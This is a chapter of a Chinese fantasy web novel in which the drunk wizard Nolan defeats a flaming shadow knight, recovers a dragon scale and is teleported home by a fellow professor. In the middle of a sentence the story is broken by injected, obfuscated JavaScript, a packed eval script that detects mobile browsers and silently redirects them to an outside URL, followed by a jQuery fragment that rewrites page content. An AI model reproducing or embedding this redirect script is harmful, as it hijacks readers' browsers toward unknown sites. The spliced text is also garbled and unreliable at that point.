诺兰抬起左手,魔法戒指中储存的护盾法术瞬间迸发而出,将再次进攻的幽影骑士弹飞出一段距离,重重地撞在酒馆的木墙上,墙面发出一声沉闷的巨响,屋檐的积雪被震落,如同被减速的小瀑布,模糊了幽影骑士的身影。
“真希望阿兰那不要找我要赔款。”诺兰指的是那位兼职调酒师的酒吧老板,他被撞击的动静吓了一跳,趁着这个间隙喘了口气,“我一点也赔不起......”
仅仅喘息之间,那个幽影生物遍已经重振旗鼓,几道黑雾构成的黑色剑风交错着袭来,在雪地上划出几道狰狞的划痕,随后将萨恩给予的魔法护盾击得粉碎,诺兰朝着一旁拔腿就跑,剑风蹭着他的风衣尾冲向远方,诺兰暗暗感到惊讶,在龙陨落之地遭遇那么多被加强的幽影骑士的围攻,萨恩的魔法护盾可是从头撑到了最后,现在竟然被几道剑风击得粉碎。
诺兰本该感到后怕,毕竟他刚才的躲避都是有惊无险,但酒精麻痹了他的大脑,他只是庆幸这里没有其他巫师,这个幽影骑士的棘手程度恐怕已经超越四个安符瑟的能力了。
「加入我们。拿剑的巫师。加入。」
幽影骑士站立在原地,如同猎人一般紧紧地盯着诺兰,那张狰狞的漆黑色巨口颤动起来,发出一串沙哑而古老的低语。
像是为了针对诺兰的以太感知法术,幽影骑士张开双臂,周围的龙以太浓度瞬间拔高,以太感知法术就像一个扩音器,将微小的声波传入使用者的脑海里,而幽影骑士的做法无异于在扩音器前播放了一段嘈杂的音频,不适感被扩大数倍地回传到诺兰的脑海,他感到太阳穴突突地发疼,那些交杂不断的细碎低语几乎撕裂他的天灵盖。
这个幽影生物远比其他的聪明得多,它居然会针对感知法术进行反制。这绝对又是一个新发现,在龙鳞或是龙之力的强化下,幽影生物中或许会出现有智慧的个体。
全新的发现令诺兰兴奋又担忧,他皱紧眉头,在龙以太的精神侵蚀下难受地闷哼了一声,但他知道他不能停止对以太的感知,他在等一个薄弱的音符,一个突破的机会。
余光里,幽影骑士再次抬起了剑。
而诺兰在嘈杂的以太中,发现了那个突破口。就像坚硬的盾牌上细微的裂痕,再高浓度的龙以太,也总有薄弱之处,现在诺兰要做的,就是让幽影骑士向他展示那个裂痕。
两道剑影在雪夜中交错并相撞,发出阵阵金属的脆鸣,宝蓝色的下垂眼中倒映着被火焰包裹的黑色面容,握着长剑的青年巫师在雪地中优雅地转着圈,挡下每一次足以致命的攻击。
像是越战越兴奋的野兽,幽影骑士的攻击愈发迅猛,飘落的雪将风衣下摆打湿,剑刃碰撞的嗡鸣声几乎夺去了周围的声音,风为他们驻足,雪被火焰融化,银色的剑劈开薄薄的白色水汽,握着长剑的巫师终于接不住又一次的劈砍,他被巨大的力量撞开,身形不稳地接连踉跄几步。
诺兰心里已经有了个大概,他的试探点到为止,因此,他故意向敌人展示了一个破绽,因为他知道,这头野兽般的魔法生物一定会乘胜追击。
黑雾构成的长剑横扫而来,诺兰见挡不住,干脆放弃了防御,整个人径直蹲了下去,剑风擦着他的头顶而过,他甚至闻到了一些头发被烧焦的味道。
是时候了。诺兰紧紧地盯着那团跃动的火焰,他想要的突破口此时就在眼前。那群安符瑟再不来,这节课就该下课了。
蹲下的瞬间,诺兰双手握紧了长剑,摆出了一定会被剑术导师责骂的非标准起手式,宝蓝色的眸子闪烁着金色的光芒,手中的长剑回应了他的请求,像是有了自己的意识一般颤动起来,剑刃上燃起诡异的金色焰火,幽影骑士因一剑挥空而咆哮起来,但诺兰知道,这头野兽在惧怕银色长剑上附着的火焰。
诺兰握着长剑的双手猛地施力向前一推,金色的焰火如同获得了生命一般,在接触到幽影骑士身上的火焰的瞬间,如同食物链顶端饥饿已久的野兽一般,将点燃几栋建筑的火焰从幽影生物身上强硬地剥离,随后疯狂地吞噬着那些想要逃离的火焰。
诺兰紧咬着自己的法杖,屏住呼吸,歪了歪头,将长剑推入更深处,锋利的剑刃撕裂以太,轻松得如同切开一个失去外皮保护的水果,银色的长剑瞬间没入黑暗生物的体内,那看起来几乎吞噬周围一切光芒的黑雾深处,竟然也亮起了黯淡的金色光芒,诺兰在其中看到了一个他再熟悉不过的形状。
果然是龙鳞。
幽影骑士发出一阵刺耳的惨叫,那把黑雾长剑脱了手,消散在纯白的雪地里,随后尖叫声停止了,它像被抽空了力气的空壳,金色的火焰撕扯着它的身体,周围的黑雾开始消散,诺兰赶在漆黑的躯体消散之前拿出了样品盒,取来了那片龙鳞,并迅速在样品盒内注入高浓度以太,防止龙鳞消散。
剑上附着的金色火焰黯淡了下来,迅速消失在诺兰的视线之中,他在磨得锋利的银色剑身上看到了自己的宝蓝色下垂眼,手指轻轻地摩挲着这柄长剑,剑刃依旧冰冷,仿佛刚才的火焰只是从未存在的幻象。
“休息吧,被黑暗奴役的战士,不管你是什么人,回到星知的怀抱吧。”诺兰垂下眸子,对着昏黄灯光下的最后一缕黑雾呢喃道。
诺兰回想起跟幽影骑士的那次短暂的对话,还有那些破碎的回忆,他多想再接触几个幽影生物,与它们对话,知晓它们的过往。只可惜他忍住了这种冲动,因为这里没有能帮他兜住事的共犯,还随时有人能看到他的一举一动。他还不想被当成异端抓走。
远处的大火已经被扑灭,夜空又恢复了宁静,战斗在愈发密集的雪花中迎来尾声。
肾上腺素褪去后,疲惫和酒精再次找上了诺兰的大脑,手中的长剑被放回了风衣的魔法口袋中,他抱着样品盒,坐在重新积起薄雪的石板路上,用手帕简单地擦了擦自己的法杖,他可不希望下次用的时候还有一股口水味。
手臂的酸胀感渐渐蔓延到脊背,接着是全身,诺兰感觉力气也随着战斗结束被抽空了,他耷拉着脑袋,安静地看着逐渐在皮鞋上堆积起来的薄雪。
他感觉脑袋又热又沉,眼皮也在打架。他早就该睡觉了,他明天要上班,还不能错过跟御龙骑士的会谈,龙灾部丢不起这个脸。
孤身一人坐在寂静的雪夜里,诺兰的脑海里开始不断地回放着阿塔兰忒女士的歌曲,他轻轻地哼唱起那足以抚平忧虑的曲调,盘算着自己这被酒精浸透的身体能不能承受得住回家的传送魔法。
诺兰乱七八糟地想着各种事,想着那个吓得尿裤子的家伙有没有看到诺兰手中的剑,会不会所有人都知道了他会用剑战斗,然后说他是一个想要效仿御龙骑士的可怜虫——毕竟巫师用剑战斗,可以说是御龙骑士雷诺爵士的专属招式。
自从雷诺屠龙一战成名后,无数巫师想要效仿雷诺的战斗方式,却绝望地发现,这种剑加法杖的战斗方式只有雷诺能做到。
但其实,诺兰认为自己的剑术并不算好,只能用来保命和绝地反击罢了。
这把剑是阿德雷爵士交给诺兰的,那位上了年纪的贵族说,这把剑曾是他的妹妹阿塔兰忒·德·奥灼恩的剑,阿塔兰忒女士牺牲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412673|186679||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,纳奥兰·德·奥灼恩接过了这把剑,只可惜纳奥兰教授没有什么剑术天赋,一直没有使用过这把剑。
阿德雷爵士认为,身为纳奥兰教授得意门生的诺兰或许能使用它,战争英雄也值得拥有一把佩剑。但诺兰猜,阿德雷爵士只是不愿触景生情,他到了这个岁数,或许已经承受不住更多的亲人逝去的痛苦了。
因此,这承载了太多回忆的贵重礼物便交给了诺兰,诺兰一直小心地保管这把剑,他一有机会就会去请求雷诺教他剑术。二人实力太过悬殊,诺兰每次都被那位身材高大的贵族打得坐在地上直掉眼泪,但诺兰还是在残酷的训练中获益良多,他与长剑并肩作战,并在与魔物的战斗中赢下了无数的胜利。
乱七八糟的思绪接连冒出,诺兰突然感到一阵没由来的悲伤。他发现,即使已经过了十年,他还是那么思念纳奥兰教授。
周围的以太扭曲了片刻,几个巫师凭空出现,陆陆续续地落在雪地上,沙沙的脚步声打断了诺兰的思绪,那几人显然被坐在雪地里的诺兰吓了一大跳,急促的脚步声在诺兰身旁停了下来。
“尤?”熟悉的声音唤起了诺兰的记忆,是里欧·亨特教授,看来他还是答应了凯文的请求,来接诺兰了,那位相识多年的同学在诺兰面前蹲下,抓着诺兰的肩膀晃了晃,“你怎么了?你有没有受伤?”
“你是……龙灾部的那位部长?诺兰·尤?”又一个声音响起,诺兰花了一会儿才想起来自己与这人打过照面,他是一支安符瑟小队的队长,诺兰曾经支援过他们的行动,但想不起来他的名字,“我听说有浑身冒火焰的幽影骑士作乱?它跑去哪里了?”
“你们来晚了,我解决了。我没事。”诺兰摇了摇头,把堆在头顶上的积雪甩掉了,他困得几乎睁不开眼,抛出了一个近乎无厘头的问题,“你们安符瑟的经费充足吗?”
那个小队长显然愣了愣,没明白诺兰的意思,也不敢相信诺兰独自一人解决了骑着马的幽影骑士。
“我可能……把人家的墙搞坏了。”诺兰抬手指了指酒馆的外墙,声音听起来有气无力的,“能拜托你们吗?”
“呃……这倒是小事……”小队长还没从困惑中回过神来,“你一个人解决了幽影骑士?”
诺兰点着头,打了个不合时宜的巨大哈欠,随后有些抱歉地摆了摆手:“我累得快散架了,善后的事情能交给你们吗?”
“呃。好的。”小队长的眉头皱成一团,尴尬地答应了下来。回去之后他要怎么写报告?刚召集好人手传送赶来,就被龙灾部的部长通知危机解除了?
亨特教授能闻到诺兰身上那股酒气,他抬手在诺兰的额头中央弹了一下,果然听到后者的轻声哀嚎:“你不是刚从疗养院出来吗,还喝这么多?”
诺兰心虚地移开目光,决定装傻到底。
“算了,我先带你回去休息。”亨特教授把诺兰从雪地里拉了起来,对方身上的雪也被抖落了,他把诺兰的一只手臂架在自己的肩膀上,防止这个醉汉一个腿软又倒下去。
“先说好,我可不会像萨恩老师那样仁慈。”亨特教授宣读了他的免责说明,他往诺兰手里塞了一个袋子,如愿地看到了诺兰困惑的表情,“我没那么多时间背你回去,所以我会直接带你传送回学校。你就吐袋子里吧,酒鬼,敢吐我身上你就完蛋了。”
诺兰的表情非常精彩,一向聪明的他竟然也有想不通的时候,亨特教授压了压嘴角,感到一阵窃喜,在棕发青年抗议的尖叫声中,亨特教授发动了传送法术,青年的惨叫声消失在了静谧的雪夜里。